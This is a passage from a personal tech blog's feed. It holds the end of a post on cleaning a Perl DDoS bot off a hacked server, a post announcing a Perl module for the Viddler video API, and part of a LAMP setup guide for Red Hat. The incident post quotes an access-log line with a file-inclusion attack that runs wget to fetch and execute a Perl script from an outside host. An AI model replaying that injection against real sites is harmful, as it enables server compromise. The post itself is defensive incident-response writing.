&lt;br /&gt;&lt;br /&gt;
Alas, anything weird is a bit vague and
considering that both temporary directories are common placeholders
for random files of any number of system users or programs it took me
a few passes to realize that in this case that "anything weird"
would be any thing executable since any proper excitable program
would reside elsewhere on a Unix-based filesystem. 
&lt;br /&gt;&lt;br /&gt;
An extended listing of contents
resulted in the the identification of the culprit, a Perl script
called, &lt;i&gt;pxconfig&lt;/i&gt;&lt;span style="font-style: normal;"&gt; residing in
the root tmp directory. &lt;/span&gt;
&lt;br /&gt;&lt;br /&gt;
Luckily no evidence indicated a greater incursion, such as a &lt;a href="http://en.wikipedia.org/wiki/Rootkit"&gt;rootkit&lt;/a&gt; being installed, thus
disabling the script was a simple matter of using root's superuser
status to kill the process and remove the privileges of script file
from executing. 
&lt;br /&gt;&lt;br /&gt;
Another Google search, using some of
the script's code, resulted in the discovery of &lt;a href="http://handlers.sans.org/jullrich/perlbot.html"&gt;an analysis of a
similar Perlbot&lt;/a&gt;, the main difference being that the script I had
discovered looked to have been modified with the sole purpose of working
in coordination with other compromised systems for overloading a
server with resource requests (&lt;a property="ctag:label" resource="http://rdf.freebase.com/ns/en/denial-of-service_attack" typeof="ctag:Tag" xmlns:ctag="http://commontag.org/ns#" class="zem_slink rdfa" href="http://en.wikipedia.org/wiki/Denial-of-service_attack" title="Denial-of-service attack" rel="ctag:means wikipedia"&gt;DDoS&lt;/a&gt;) and seemed to contain no code to propagate itself.
&lt;br /&gt;&lt;br /&gt;
So after disabling the offending
script, I set about trying to discover how it managed to get
itself installed in the first place. &lt;a href="http://techie.prepys.com/archives/2006/02/08/mambo-exploit-payload/"&gt;This blog posting&lt;/a&gt; suggested a
possible point of entry and indeed after trying a couple of different
search patterns on the Apache access logs I located the point of
entry:
&lt;br /&gt;&lt;br /&gt;
&lt;div style="padding: 10px; background-color: rgb(0, 0, 0); color: rgb(23, 240, 23);"&gt;
&lt;pre&gt;access_log.5.gz:80.37.xxx.xx - -
[01/Jun/2009:00:01:54 -0500] "GET
/index.php?option=com_content&amp;amp;do_pdf=1&amp;amp;id=1index2.php?_REQUEST[option]&lt;br /&gt;=com_content&amp;amp;_REQUEST[Itemid]=1&amp;amp;GLOBALS=&amp;amp;mosConfig_absolute_path=&lt;br /&gt;http://81.56.xxx.xxx/cmd.gif?&amp;amp;cmd=cd%20/tmp;&lt;br /&gt;wget%20http://81.56.xxx.xxx/d.pl;perl%20d.pl;echo%20YYY;echo|
 HTTP/1.1" 200 434 "-" "Mozilla/4.0 (compatible;
MSIE 6.0; Windows NT 5.1;)"
&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;
&lt;p style="margin-bottom: 0in;"&gt;Notice in the GET request a GIF file being uploaded and a series of shell commands. Well the GIF file
is no doubt corrupt, designed to take advantage of any number of
known security vulnerabilities with the GD library
resulting in a &lt;a property="ctag:label" resource="http://rdf.freebase.com/ns/en/buffer_overflow" typeof="ctag:Tag" xmlns:ctag="http://commontag.org/ns#" class="zem_slink rdfa" href="http://en.wikipedia.org/wiki/Buffer_overflow" title="Buffer overflow" rel="ctag:means wikipedia"&gt;buffer overflow&lt;/a&gt; that in turn allows the arbitrary
execution of the commands. Those commands change access to the "/tmp"
directory, use &lt;i&gt;wget&lt;/i&gt; to download a perl file and then execute
said perl file. That file no doubt downloads yet another script name
&lt;i&gt;pxconfig&lt;/i&gt;, executes that second script and removes itself.
&lt;br /&gt;&lt;br /&gt;
Moral of the story? Keep the system up-to-date, restrict all points where files can be uploaded, keep
a close eye on what's running and Google is your friend.
&lt;br /&gt;&lt;br /&gt;
Damn kids these days!
&lt;br /&gt;&lt;br /&gt;
&lt;/p&gt;&lt;hr&gt;
&lt;br /&gt;
&lt;div id="sdfootnote1"&gt;
	&lt;p class="sdfootnote"&gt;&lt;a class="sdfootnotesym" name="sdfootnote1sym" href="#sdfootnote1anc"&gt;1&lt;/a&gt; Quick
	Review: Very entertaining, would have liked a chance to get &lt;a href="http://www.foxtrot.com/about/"&gt;Bill
	Amend&lt;/a&gt;'s autograph on &lt;a href="http://www.amazon.com/gp/product/0740791400?ie=UTF8&amp;amp;tag=weinsteinorg-20&amp;amp;linkCode=as2&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=0740791400"&gt;a FoxTrot Collection&lt;/a&gt;&lt;img src="http://www.assoc-amazon.com/e/ir?t=weinsteinorg-20&amp;amp;l=as2&amp;amp;o=1&amp;amp;a=0740791400" alt="" style="border: medium none  ! important; margin: 0px ! important;" height="1" width="1" border="0" /&gt;.&lt;br /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div id="sdfootnote2"&gt;
	&lt;p class="sdfootnote"&gt;&lt;a class="sdfootnotesym" name="sdfootnote2sym" href="#sdfootnote2anc"&gt;2&lt;/a&gt; Yes,
	I still plan on upgrading my iPhone from a "3G" to the new "4",
	no I'm not surprised Apple has renamed their mobile OS.&lt;/p&gt;
&lt;/div&gt;
&lt;div id="sdfootnote3"&gt;
	&lt;p class="sdfootnote"&gt;&lt;a class="sdfootnotesym" name="sdfootnote3sym" href="#sdfootnote3anc"&gt;3&lt;/a&gt; Time
	to retake &lt;a href="http://www.facebook.com/photo.php?pid=1902428&amp;amp;l=86f11f70db&amp;amp;id=526081044"&gt;my picture with The Cup&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;


&lt;div style="margin-top: 10px; height: 15px;" class="zemanta-pixie"&gt;&lt;img style="border: medium none ; float: right;" class="zemanta-pixie-img" alt="" src="http://img.zemanta.com/pixy.gif?x-id=ffdb0a2c-887b-4741-9997-caba07699b64" /&gt;&lt;span class="zem-script more-related pretty-attribution"&gt;&lt;script type="text/javascript" src="http://static.zemanta.com/readside/loader.js" defer="defer"&gt;&lt;/script&gt;&lt;/span&gt;&lt;/div&gt;
        
    
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/VGE51fCC-updM0iLFTpdZbKwDDY/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/VGE51fCC-updM0iLFTpdZbKwDDY/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/VGE51fCC-updM0iLFTpdZbKwDDY/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/VGE51fCC-updM0iLFTpdZbKwDDY/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/pdweinstein/~4/JXd1RtY2Ndg" height="1" width="1"/&gt;</content>
<feedburner:origLink>http://pdw.weinstein.org/2010/06/damn-script-kiddies-get-off-my-lawn.html</feedburner:origLink></entry>

<entry>
    <title>Perl Module WebService::Viddler on CPAN</title>
    <link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/pdweinstein/~3/6Hh-7myapjg/perl-module-webserviceviddler-on-cpan.html" />
    <id>tag:pdw.weinstein.org,2010://2.225</id>

    <published>2010-06-01T04:59:59Z</published>
    <updated>2010-06-01T04:41:09Z</updated>

    <summary>Back in March I outlined an idea for a Perl module for accessing the video service Viddler. As I noted, at the time, while there was plenty of support for the Viddler Application Programming Interface via PHP, the support for...</summary>
    <author>
        <name>Paul Weinstein</name>
        <uri>http://pdw.weinstein.org</uri>
    </author>
    
        <category term="Services" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Video" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="opensource" label="Open Source" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="perl" label="Perl" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="viddler" label="Viddler" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="video" label="Video" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://pdw.weinstein.org/">
        &lt;p&gt;Back in March I outlined &lt;a href="http://pdw.weinstein.org/2010/03/viddler-api-via-perl.html"&gt;an idea
for a Perl module for accessing the video service Viddler&lt;/a&gt;. As I
noted, at the time, while there was plenty of support for the &lt;a href="http://developers.viddler.com/documentation/api/"&gt;Viddler
Application Programming Interface&lt;/a&gt; via PHP, the support for Perl was
quite anemic.
&lt;br /&gt;&lt;br /&gt;
To help rectify the situation, in my
"copious" free time I've been working on an Perl module that
wraps around Viddler's API. The goal being to provide a quick method
for integrating Perl-based applications with Viddler. 
&lt;br /&gt;&lt;br /&gt;
Today, I'm happy to announce the first working release of my effort, &lt;a href="http://search.cpan.org/%7Epdw/WebService-Viddler-0.10/lib/WebService/Viddler.pm"&gt;WebService::Viddler&lt;/a&gt;, which can be found at
&lt;a href="http://www.cpan.org/"&gt;CPAN&lt;/a&gt; (Comprehensive Perl Archive Network).
&lt;br /&gt;&lt;br /&gt;
As I mentioned, at the heart of things,
WebService::Viddler is an object-oriented encapsulation of the
Viddler video platform providing a Perl specific focus for access via their public API, which
itself is documented at:
&lt;a href="http://developers.viddler.com/documentation/api/"&gt;http://developers.viddler.com/documentation/api/&lt;/a&gt;
&lt;br /&gt;&lt;br /&gt;
Currently this module is, at best, beta quality code and only
supports version 1 of the Viddler API. Moreover, while it handles most of the
v1 API methods, it currently lacks support for the two commenting
related methods, &lt;a href="http://developers.viddler.com/documentation/api/method-videos-comments-add/"&gt;videos-comments-add&lt;/a&gt; and &lt;a href="http://developers.viddler.com/documentation/api/method-videos-comments-remove/"&gt;videos-comments-remove&lt;/a&gt; (a
more complete To Do list can be found in the provided &lt;a href="http://cpansearch.perl.org/src/PDW/WebService-Viddler-0.10/README"&gt;README&lt;/a&gt; file.
&lt;br /&gt;&lt;br /&gt;
Of course the advantage of the module is that it makes including
Viddler in a Perl-based application, dead simple:&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;&lt;div style="padding: 10px; background-color: rgb(0, 0, 0); color: rgb(23, 240, 23);"&gt;
&lt;pre&gt;#!/usr/bin/perl -T

use strict;
use warnings;

use WebService::Viddler;
use Data::Dumper;

# Create our object and establish a session
my $videos = new WebService::Viddler( 
                         apiKey =&amp;gt; '123456ABCDEF',
                         username =&amp;gt; $username,
                         password =&amp;gt; $password,
                       );

# Get and print the API version is use
print "API Version: " .$videos-&amp;gt;api_getInfo(). "\n";

# Upload a video providing required information such as the 
# title, tag and description
$videos-&amp;gt;videos_upload( 
                         "Moon", 
                         "Moon", 
                         "A little video clip of...", 
                         "0", 
                         "/home/pdw/temp/Moon.mp4", 
                         "" 
                         );

# Get the details of the given video and
# use Data::Dumper help print out the values in the list results
print Dumper( $videos-&amp;gt;videos_getDetailsByUrl( 
              "http://www.viddler.com/explore/pdweinstein/videos/3/" ));

# Get a list of videos by the given tag and
# use Dumper to help print out the values in the list results
print Dumper( $videos-&amp;gt;videos_getByTag( "moon" ));
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;p&gt;Questions, bugs and code suggestions are of course welcomed!&lt;/p&gt;
        
    
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/X8gTBnXrkapDK_uWw6ncayOlIE8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/X8gTBnXrkapDK_uWw6ncayOlIE8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/X8gTBnXrkapDK_uWw6ncayOlIE8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/X8gTBnXrkapDK_uWw6ncayOlIE8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/pdweinstein/~4/6Hh-7myapjg" height="1" width="1"/&gt;</content>
<feedburner:origLink>http://pdw.weinstein.org/2010/05/perl-module-webserviceviddler-on-cpan.html</feedburner:origLink></entry>

<entry>
    <title>A Step Beyond a Red Hat Enterprise Linux, Apache, MySQL and PHP How To</title>
    <link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/pdweinstein/~3/xifGQ1riEvk/a-step-beyond-a-red-hat-enterprise-linux-apache-mysql-php-how-to.html" />
    <id>tag:pdw.weinstein.org,2010://2.224</id>

    <published>2010-05-10T12:50:48Z</published>
    <updated>2010-05-10T03:49:44Z</updated>

    <summary>Image by pdweinstein via FlickrIt seems quite a bit of my time has been taken up with system administration related tasks these days. If I'm not contemplating system monitoring solutions for one client, I must be busy migrating a mail...</summary>
    <author>
        <name>Paul Weinstein</name>
        <uri>http://pdw.weinstein.org</uri>
    </author>
    
        <category term="Apache" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Red Hat" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Web" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="apache" label="Apache" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="linux" label="Linux" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="servers" label="servers" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en" xml:base="http://pdw.weinstein.org/">
        &lt;div class="zemanta-img mt-image-right" style="margin: 1em; display: block; float: right; width: 250px;"&gt;&lt;a href="http://www.flickr.com/photos/37182874@N04/4265060082"&gt;&lt;img src="http://farm3.static.flickr.com/2753/4265060082_71ae718c53_m.jpg" alt="Server Room" height="180" width="240" /&gt;&lt;/a&gt;&lt;p class="zemanta-img-attribution" style="font-size: 0.8em;"&gt;Image by &lt;a href="http://www.flickr.com/photos/37182874@N04/4265060082"&gt;pdweinstein&lt;/a&gt; via Flickr&lt;/p&gt;&lt;/div&gt;&lt;p style="margin-bottom: 0in;"&gt;It seems quite a bit of my time has
been taken up with system administration related tasks these days. If
I'm not contemplating system monitoring solutions for one client, I must be busy migrating a mail service from one server location
to another.&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;Naturally, I was hardly surprised when
I got an email from an old high school friend recently asking for
assistance in setting up a Linux, Apache, &lt;a property="ctag:label" resource="http://rdf.freebase.com/ns/en/mysql" typeof="ctag:Tag" xmlns:ctag="http://commontag.org/ns#" class="zem_slink rdfa" href="http://www.mysql.com/" title="MySQL" rel="ctag:means homepage"&gt;MySQL&lt;/a&gt; and &lt;a href="http://www.php.net/"&gt;PHP&lt;/a&gt; (LAMP) server
on &lt;a property="ctag:label" resource="http://rdf.freebase.com/ns/en/red_hat_enterprise_linux" typeof="ctag:Tag" xmlns:ctag="http://commontag.org/ns#" class="zem_slink rdfa" href="http://www.redhat.com/rhel/" title="Red Hat Enterprise Linux" rel="ctag:means homepage"&gt;Red Hat Enterprise Linux&lt;/a&gt; (RHEL).&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;Now said friend is hardly a technical
novice and &lt;a href="http://www.google.com/"&gt;Google&lt;/a&gt; is happy to provide one with &lt;a href="http://www.google.com/#hl=en&amp;amp;source=hp&amp;amp;q=lamp+howto&amp;amp;aq=0&amp;amp;aqi=g1g-m3&amp;amp;aql=&amp;amp;oq=lamp+how&amp;amp;gs_rfai=&amp;amp;fp=d7b9185308fd57b6"&gt;plenty of step-by-step
how to's on the subject&lt;/a&gt;. So instead of running down the usual I
figured, since he understands the technical side, but is probably
more at home with Microsoft-based solutions, that I would give him
some tips to orient himself.&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;Thus here is a quick and dirty "what's
happening" (instead of the more common how to) on installing LAMP
on a RHEL based system.&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;a href="#tools"&gt;Helpful Tools&lt;/a&gt;&lt;/p&gt;
	&lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;a href="#installing"&gt;Installing Software&lt;/a&gt;&lt;/p&gt;
	&lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;a href="#config"&gt;Configuring Software&lt;/a&gt;&lt;/p&gt;
	&lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;a href="#executing"&gt;Executing a Service&lt;/a&gt;&lt;/p&gt;
	&lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;a href="#more"&gt;More Resources&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;&lt;/ul&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;" align="LEFT"&gt;&lt;b&gt;&lt;a href="editor-content.html?cs=utf-8" name="tools"&gt;Helpful Tools&lt;/a&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;Since most, if not all, of these
commands deal with system-wide alterations first and foremost one
will need to have "superuser" access. That can be
accomplished in one of two ways:&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in;"&gt;root user: root is the
	conventional name of the user who has rights to all files and
	programs on a Unix-based system such as Red Hat Enterprise Linux.
	In other words root is the main administrator for the
	system and can do anything at anytime.&lt;/p&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;i&gt;sudo&lt;/i&gt;: &lt;i&gt;sudo&lt;/i&gt; is a
	command that allows users to run programs with the security
	privileges of another user (normally the superuser, root). &lt;i&gt;sudo&lt;/i&gt;
	usage needs to be granted to a user before it can be used and can be
	limited to a subset of privileges if needed.&lt;/p&gt;
&lt;/li&gt;&lt;/ul&gt;

&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;There are plenty of commands that one
can execute at the command line. Just remembering them all can be
hard, let alone remembering how exactly each command works, in what
context and with what arguments. For that alone one should always
remember that help is always one command away:&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;i&gt;man&lt;/i&gt;: &lt;i&gt;man&lt;/i&gt; is a
	command (and format) for displaying the on-line &lt;a property="ctag:label" resource="http://rdf.freebase.com/ns/en/manual_page" typeof="ctag:Tag" xmlns:ctag="http://commontag.org/ns#" class="zem_slink rdfa" href="http://en.wikipedia.org/wiki/Man_page" title="Man page" rel="ctag:means wikipedia"&gt;manual pages&lt;/a&gt;. The
	man command followed by the name of the command who's documentation
	you wish to view will provide an display of that documentation. 
	&lt;/p&gt;
	&lt;p style="margin-bottom: 0in;"&gt;&lt;/p&gt;
&lt;/li&gt;&lt;/ul&gt;
&lt;p style="margin-bottom: 0in;" align="LEFT"&gt;For example to view the
manual pages in regards to the man command itself:&lt;/p&gt;&lt;p style="margin-bottom: 0in;" align="LEFT"&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;/p&gt;&lt;div style="padding: 10px; background-color: rgb(0, 0, 0); color: rgb(23, 240, 23);"&gt;
&lt;pre&gt;$ man man
&lt;/pre&gt;
&lt;/div&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;A key characteristic of Unix-centric
systems is the use of plain text for data storage. This means that
the focus of data manipulation is based on the fundamentals of text
processing. It also means that data can be "piped" from one
command-line tool to another for performing a task that might be more
complicated for just one tool to complete. 
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;While text processing isn't necessary
for setting up a LAMP server what is necessary to know and have ready to use is at least one general, text-based tool; a &lt;a href="http://en.wikipedia.org/wiki/Text_editor"&gt;text
editor&lt;/a&gt;.&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;i&gt;vi: vi, vim, emacs or pico e&lt;/i&gt;&lt;span style="font-style: normal;"&gt;ach
	is a command line text editor and while I try to be agnostic in the
	eternal debate about which is better, I will mention that for as
	long as I've been a Unix user/admin (some 15 years now) no matter
	what system I am on, be it a Red Hat distribution of Linux or a
	proprietary system chances are &lt;/span&gt;&lt;i&gt;vi&lt;/i&gt;&lt;span style="font-style: normal;"&gt;
	or &lt;/span&gt;&lt;i&gt;vim&lt;/i&gt;&lt;span style="font-style: normal;"&gt; has been
	installed and is available.&lt;a class="sdfootnoteanc" name="sdfootnote1anc" href="#sdfootnote1sym"&gt;&lt;sup&gt;1&lt;/sup&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;&lt;/ul&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;b&gt;&lt;a href="editor-content.html?cs=utf-8" name="installing"&gt;Installing Software&lt;/a&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;Red Hat Enterprise Linux uses a
software package format called &lt;i&gt;rpm&lt;/i&gt;. Each software package
consists of an archive of files along with information about the
package like its version and a description of the software within.&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;As a general practice packages are
broken up into two separate packages; One contains the compiled
executable, while a second one contains the source files for building
the software from scratch&lt;a class="sdfootnoteanc" name="sdfootnote2anc" href="#sdfootnote2sym"&gt;&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt;.
The source code packages will usual have a "-devel"
appended to their name field.&lt;a class="sdfootnoteanc" name="sdfootnote3anc" href="#sdfootnote3sym"&gt;&lt;sup&gt;3&lt;/sup&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;However, back in the early days of &lt;i&gt;rpm&lt;/i&gt;
it was discovered that managing individual &lt;i&gt;rpm&lt;/i&gt; packages is a
pain and time consuming&lt;a class="sdfootnoteanc" name="sdfootnote4anc" href="#sdfootnote4sym"&gt;&lt;sup&gt;4&lt;/sup&gt;&lt;/a&gt;.
As such, a number of rpm-based &lt;a property="ctag:label" resource="http://rdf.freebase.com/ns/en/linux_distribution" typeof="ctag:Tag" xmlns:ctag="http://commontag.org/ns#" class="zem_slink rdfa" href="http://en.wikipedia.org/wiki/Linux_distribution" title="Linux distribution" rel="ctag:means wikipedia"&gt;Linux distributions&lt;/a&gt; have adopted tools
such as &lt;i&gt;yum. yum&lt;/i&gt; assists in managing the identification of
dependencies for a given software package as well as installing said
packages, tracking updates for a given package from a specified
repository and removing installed software from the system as
desired.&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;u&gt;Identification&lt;/u&gt;&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;Using &lt;i&gt;yum &lt;/i&gt;&lt;span style="font-style: normal;"&gt;with
the &lt;/span&gt;&lt;i&gt;list&lt;/i&gt; argument will provide information about a
given package's availability. For example to check on the Apache Web
Server, which is officially known as the &lt;a property="ctag:label" resource="http://rdf.freebase.com/ns/en/apache_http_server" typeof="ctag:Tag" xmlns:ctag="http://commontag.org/ns#" class="zem_slink rdfa" href="http://httpd.apache.org/" title="Apache HTTP Server" rel="ctag:means homepage"&gt;Apache HTTP Server&lt;/a&gt;:&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;/p&gt;&lt;div style="padding: 10px; background-color: rgb(0, 0, 0); color: rgb(23, 240, 23);"&gt;
&lt;pre&gt;$ yum list httpd
Loaded plugins: fastestmirror
Installed Packages
httpd.i386     2.2.3-31.el5.centos.2     installed
Available Packages
httpd.i386     2.2.3-31.el5.centos.4     updates  
&lt;/pre&gt;&lt;/div&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;As you can see httpd is not only
available, but is also already installed&lt;a class="sdfootnoteanc" name="sdfootnote5anc" href="#sdfootnote5sym"&gt;&lt;sup&gt;5&lt;/sup&gt;&lt;/a&gt;.
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;u&gt;Installing&lt;/u&gt;&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;If, however, the Apache HTTP Server
wasn't the &lt;i&gt;install&lt;/i&gt; argument for &lt;i&gt;yum &lt;/i&gt;&lt;span style="font-style: normal;"&gt;would
do the trick&lt;/span&gt;&lt;i&gt;.&lt;/i&gt;&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;/p&gt;&lt;div style="padding: 10px; background-color: rgb(0, 0, 0); color: rgb(23, 240, 23);"&gt;
&lt;pre&gt;$ yum install httpd
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
 * addons: mirror.cisp.com
 * base: yum.singlehop.com
 * extras: mirror.sanctuaryhost.com
 * updates: mirrors.liquidweb.com
Setting up Install Process
Resolving Dependencies
--&amp;gt; Running transaction check
---&amp;gt; Package httpd.i386 0:2.2.3-31.el5.centos.4 set to be updated
--&amp;gt; Finished Dependency Resolution

Dependencies Resolved

==================================================================
 Package     Arch     Version               Repository       Size
==================================================================
Installing:
 httpd       i386     2.2.3-31.el5.centos.4 updates         1.2 M

Transaction Summary
==================================================================
Install      1 Package(s)        
Update       0 Package(s)        
Remove       0 Package(s)        

Total download size: 1.2 M
Is this ok [y/N]:
&lt;/pre&gt;&lt;/div&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;Now it so happens that installing of
Apache HTTP Server on the example system at the given time, didn't
require any additional software packages to for the installation.
This might not always be the case and as such, &lt;i&gt;yum &lt;/i&gt;&lt;span style="font-style: normal;"&gt;will
identify and list any packages it determines are missing from the
system to be installed at the same time, for the Apache Software
Foundation's web server to be useful. &lt;/span&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;u&gt;Updating&lt;/u&gt;&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;One of the key advantages of a package
management system such as &lt;i&gt;yum&lt;/i&gt; in the ability to easily track
updates. The &lt;i&gt;update&lt;/i&gt; feature can be used in two distinct
manners. If used without explicitly naming a given packages,
update will check for and then update every currently installed
package that has a newer package available from the repository. 
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;If, on the other hand, one or more
packages are specified, &lt;i&gt;yum &lt;/i&gt;will only  update  the  listed 
package.   As with installing the initial package, while updating, 
&lt;i&gt;yum&lt;/i&gt;  will  ensure that all dependencies are installed.&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt; 
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;u&gt;Removing&lt;/u&gt;&lt;/p&gt;
&lt;p style="margin-bottom: 0in; text-decoration: none;"&gt;Of course if &lt;i&gt;yum&lt;/i&gt;
can install and update software, it only makes sense that it can also
remove the installed software from a given system. The &lt;i&gt;remove&lt;/i&gt;
&lt;span style="font-style: normal;"&gt;argument&lt;/span&gt; is used to remove a
specified package  from  the  system  as well  as removing any
packages which depend on the package being removed.  
&lt;/p&gt;
&lt;p style="margin-bottom: 0in; text-decoration: none;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in; text-decoration: none;"&gt;Note that this
is basically the exact opposite of the install option. Install will
add any software the package requires to run and the requested
software itself. Remove, however, removes the requested software and
any software that depends on it. 
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in; font-style: normal;"&gt;&lt;b&gt;&lt;a href="editor-content.html?cs=utf-8" name="config"&gt;Configuring Software&lt;/a&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;Once each component is installed, it's
time to go about configuring each one. The general convention for
Unix-based systems such as Red Hat's Enterprise Linux is to place
system-wide configuration files in the /etc directory. If fact, while
the specifics can vary, the &lt;a href="http://en.wikipedia.org/wiki/Unix_directory_structure"&gt;directory structure from Unix system to
Unix system will general follow the same over all pattern&lt;/a&gt;.&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0in;"&gt;Again staying with our web server
example, the main Apache HTTP Server configuration file can be found
at /etc/httpd/conf/httpd.conf on a Red Hat Enterprise Linux system.
To open the configuration file for review and possible modification
using the &lt;i&gt;vi&lt;/i&gt; text editor is as simple as:&lt;/p&gt;
